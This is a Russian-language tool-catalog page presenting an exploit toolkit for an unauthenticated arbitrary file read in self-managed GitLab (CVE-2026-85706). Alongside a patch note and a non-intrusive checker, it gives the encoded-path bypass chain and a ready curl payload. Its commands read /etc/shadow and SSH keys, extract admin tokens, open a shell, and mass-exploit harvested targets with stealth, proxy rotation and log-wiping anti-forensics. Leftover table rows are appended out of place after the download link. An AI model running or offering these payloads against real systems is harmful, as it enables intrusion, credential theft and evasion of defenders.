Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-85706-PoC-Toolkit — Python-инструментарий для неаутентифицированного чтения файлов в GitLab (CVE-2026-85706): эксплойт с извлечением данных, шеллом, массовым сканированием, а также неинтрузивный аудит и отчётность SafeChecker. | Kitploit
Инструменты/GitHubGitHub/tc4dy/cve-2026-85706-poc-toolkit
Оборонительные ИнструментыСканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииПост-эксплуатацияВеб-безопасностьТестирование на Проникновение

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Red Teaming
GitHubtc4dy/cve-2026-85706-poc-toolkit

CVE-2026-85706-PoC-Toolkit

Python-инструментарий для неаутентифицированного чтения файлов в GitLab (CVE-2026-85706): эксплойт с извлечением данных, шеллом, массовым сканированием, а также неинтрузивный аудит и отчётность SafeChecker.

РепозиторийСайт
110 ч 19 мин назадЕщё не проверено
Поделиться

CVEPoC

CVE‑2026‑85706 – Инструментарий для неаутентифицированного чтения файлов в GitLab

Python 3.8+ CVSS Author GitLab

⚠️ ТОЛЬКО ЭТИЧНОЕ ИСПОЛЬЗОВАНИЕ – АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ БЕЗОПАСНОСТИ
Этот репозиторий предоставляет инструменты только для авторизованных специалистов по безопасности, blue teams и пентестеров.
Несанкционированный доступ к компьютерным системам является незаконным в соответствии с CFAA (США), Computer Misuse Act (Великобритания), TCK 243/244 (Турция) и аналогичными законами по всему миру.


📖 Обзор уязвимости

CVE‑2026‑85706 — это критическая уязвимость неаутентифицированного произвольного чтения локальных файлов в self-managed GitLab CE/EE (версии 18.7 – 19.3.1), позволяющая неаутентифицированному злоумышленнику прочитать любой файл на сервере с помощью одного HTTP-запроса к API коммитов.

Как это работает

  1. Несоответствие парсинга Workhorse и Puma – GitLab Workhorse проверяет путь запроса до percent-декодирования, тогда как Puma/Rails декодирует его после. Это позволяет обойти проверки безопасности Workhorse с помощью закодированных символов, таких как %63ommits.
  2. Открытие файла до аутентификации – эндпоинт /api/v4/projects/{id}/repository/commits открывает файл, указанный в file.path, до проверки аутентификации.
  3. Эхо содержимого через ошибку – если файл содержит недопустимую %-последовательность, Rack возвращает содержимое в теле ответа 400 Bad Request, раскрывая полное содержимое.
  4. Воздействие – секреты, токены, SSH-ключи, переменные CI/CD, учётные данные баз данных и боковое перемещение внутри инфраструктуры GitLab. Немедленно обновитесь!

Уязвимые версии

  • 18.7.0 – 19.1.7 – уязвимы
  • 19.2.0 – 19.2.5 – уязвимы
  • 19.3.0 – 19.3.1 – уязвимы

Патч

  • Обновитесь до 19.1.8, 19.2.6 или 19.3.2 или новее.
  • Если обновление невозможно, ограничьте сетевой доступ к GitLab (никогда не выставляйте его в интернет) и смените все токены/секреты в качестве временного обходного решения.

🧰 Инструменты

ИнструментНазначениеЦелевой пользователь
exploit.pyПолный боевой инструментарий с неаутентифицированным чтением файлов, перечислением добычи, извлечением admin-токена, массовым сканированием, интерактивной оболочкой, ротацией прокси, режимом скрытности и отчётами в нескольких форматах.Red teams / авторизованные пентестеры
safechecker.pyНеинтрузивный чекер уязвимости, который определяет версию GitLab, проверяет подверженность, аудирует заголовки безопасности и оценивает риск без чтения каких-либо файлов. Генерирует отчёты JSON/CSV/HTML.Blue teams / аудиторы безопасности

📊 Сравнение возможностей

Возможностьexploit.pysafechecker.py
Обнаружение уязвимости✅✅
Определение версии✅✅
Неаутентифицированное чтение файлов✅❌
Перечисление добычи✅❌
Извлечение admin-токена✅❌
Интерактивная оболочка✅❌
Массовое сканирование (многопоточное)✅✅
Аудит заголовков безопасности❌✅
Проверка TLS/сертификата❌✅
Сопоставление с MITRE ATT&CK✅✅
Поддержка прокси✅✅
Ротация прокси✅❌
Ротация User‑Agent (OPSEC)✅❌
Джиттер / задержка (OPSEC)✅❌
Адаптивный ограничитель скорости✅✅
Режим скрытности✅❌
Имперсонация TLS через curl_cffi✅❌
Неинтрузивный (безопасный) режим❌✅
Вывод JSON / JSONL / CSV / HTML✅✅
Вывод в SQLite БД✅❌
Уведомления через webhook✅✅
Diff с предыдущим сканированием✅✅

🎯 Сводка по сценариям использования

СценарийРекомендуемый инструмент
Blue Team – проверка, уязвим ли ваш GitLabsafechecker.py
Аудит безопасности – неинтрузивная оценка уязвимостиsafechecker.py
Red Team – авторизованное тестирование на проникновение с полной эксплуатациейexploit.py
Bug Bounty – ответственное раскрытиеsafechecker.py
Массовое сканирование – проверка нескольких целей на уязвимостьexploit.py (только обнаружение)
Реагирование на инциденты – проверка, скомпрометированы ли системыsafechecker.py

⚙️ Установка

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3
curl_cffi
rich
pyyaml

📋 Параметры

Параметры exploit.py

ПараметрОписание
-u, --urlURL одной цели (например, https://gitlab.example.com)
-f, --fileФайл со списком целей (по одной в строке)
--pipeЧтение целей из stdin (конвейер subfinder/httpx)
--readАбсолютный путь(и) для чтения, через запятую
--wordlistФайл с путями для чтения (по одному в строке)
--project-idПринудительно указать конкретный ID проекта
--max-projectsМаксимум ID проектов для перебора (по умолчанию: 8)
--autoАвтоматически собирать ценные файлы GitLab
--lootТо же, что --auto
--shellИнтерактивная оболочка после эксплуатации
--forceСканировать, даже если фингерпринт GitLab слабый
-t, --threadsПотоки для нескольких целей (по умолчанию: 8)
--timeoutТаймаут HTTP (по умолчанию: 15s)
--retryКоличество повторов (по умолчанию: 3)
--retry-onHTTP-коды для повтора (по умолчанию: 429,500,502,503,504)
--proxyHTTP/HTTPS прокси
--proxy-listФайл с прокси для ротации
--proxy-rotateСтратегия ротации: round-robin, random, sticky
--jitterДобавить случайный джиттер между запросами
--jitter-rangeМин,макс джиттера в секундах (по умолчанию: 0.1,2.0)
--delayФиксированная задержка между запросами
--stealthВключить режим скрытности (ротация UA + X-Forwarded-For)

Параметры safechecker.py

ПараметрОписание
-u, --urlURL одной цели (например, https://gitlab.example.com)
-f, --fileФайл с целями (по одной в строке)
-t, --threadsПотоки для нескольких целей (по умолчанию: 5)
--timeoutТаймаут HTTP (по умолчанию: 10s)
--rate-limitМаксимум запросов в секунду (0 = без ограничений)
--user-agentПользовательская строка User-Agent
--insecureОтключить проверку TLS (риск MITM)
--webhookURL webhook (slack:, discord:, telegram:)
--diffСравнить с JSON предыдущего сканирования
-v, --verboseПодробный вывод
-o, --outputВыходной файл JSON
--csvВыходной файл CSV
--reportФайл HTML-отчёта
--mitreВключить сопоставление с MITRE ATT&CK (по умолчанию: вкл.)

💥 Сценарии

#СценарийКоманда
1Быстрая проверка уязвимостиpython safechecker.py -u https://gitlab.example.com
2Детальный аудит с отчётомpython safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v
3Массовый аудит из файлаpython safechecker.py -f targets.txt -t 10 --rate-limit 5
4Эксплойт только для обнаруженияpython exploit.py -u https://gitlab.example.com --safe-mode
5Чтение одного файлаpython exploit.py -u https://gitlab.example.com --read /etc/passwd
6Чтение нескольких файловpython exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa
7Автосбор ценных файловpython exploit.py -u https://gitlab.example.com --auto
8Интерактивная оболочкаpython exploit.py -u https://gitlab.example.com --shell
9Массовая эксплуатация со скрытностьюpython exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl
10Конвейер из subfindersubfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl
11Полная атака с выводом для SIEMpython exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json
12Возобновление прерванного сканированияpython exploit.py -f targets.txt --auto --resume state.json
13Сравнение двух сканированийpython safechecker.py -f targets.txt -o new.json --diff previous.json

🧪 Эндпоинт и цепочка эксплуатации

Эксплойт использует следующие эндпоинты GitLab и техники обхода:

ШагМетодЭндпоинтОписание
1. ОбходPOST/api/v4/projects/{id}/repository/%63ommitsЗакодированная c обходит Workhorse
2. ОбходPOST/api/v4/projects/{id}/%72epository/commitsЗакодированная r в repository
3. ОбходPOST/api/v4/projects/{id}/repository/commits/Обход через завершающий слэш
4. ОбходPOST/api/v4/projects/{id}/repository/commits.jsonОбход через суффикс формата Grape
5. Files APIPOST/api/v4/projects/{id}/repository/files/xАльтернативный маршрут

Формат полезной нагрузки

root@kitploit:~
file=&file.path=/etc/passwd&file.size=1

Готовый curl

root@kitploit:~
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"

🛡️ Ответственное использование

  • Используйте эти инструменты только на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
  • Несанкционированный доступ является незаконным и неэтичным.
  • Авторы не несут ответственности за любое неправомерное использование.
  • Всегда соблюдайте законы и нормативные акты вашей страны.

Это программное обеспечение предоставляется исключительно в образовательных целях и для авторизованного тестирования безопасности.

Скачать инструмент
Очистка логов (анти-форензика)✅❌
Пользовательский User‑Agent✅✅
Управление проверкой SSL✅✅
--curl-cffiИспользовать curl_cffi для имперсонации TLS-фингерпринта
--user-agent-fileФайл со строками User-Agent
--max-bodyМаксимальный размер тела ответа (0 = без ограничений)
--concurrent-per-hostМаксимум одновременных запросов на хост
--rate-limitМаксимум запросов в секунду (0 = без ограничений)
--excludeХосты для исключения через запятую (glob-шаблоны)
--grepПоказывать только утечки, соответствующие regex
--resumeВозобновить из файла состояния
--notifyURL уведомления (slack:, discord:, telegram:)
--dbСохранять результаты в базу данных SQLite
--output-formatФормат вывода: json, jsonl, csv, html
-o, --outputПуть к выходному файлу
-v, --verboseПодробный вывод
-q, --quietТихий режим
--no-colorОтключить цвета
--no-bannerБез баннера
--configФайл конфигурации YAML/JSON
--dry-runПоказать план без выполнения запросов
--safe-modeЧитать только /etc/hostname для проверки
--timeout-profileaggressive, normal, stealth
--mitreВключить сопоставление с MITRE ATT&CK
--fingerprintДетальный фингерпринт GitLab
--cve-checkПроверить связанные CVE
--json-schemaВывод с JSON-схемой для SIEM
--progressПоказывать прогресс-бар (требуется rich)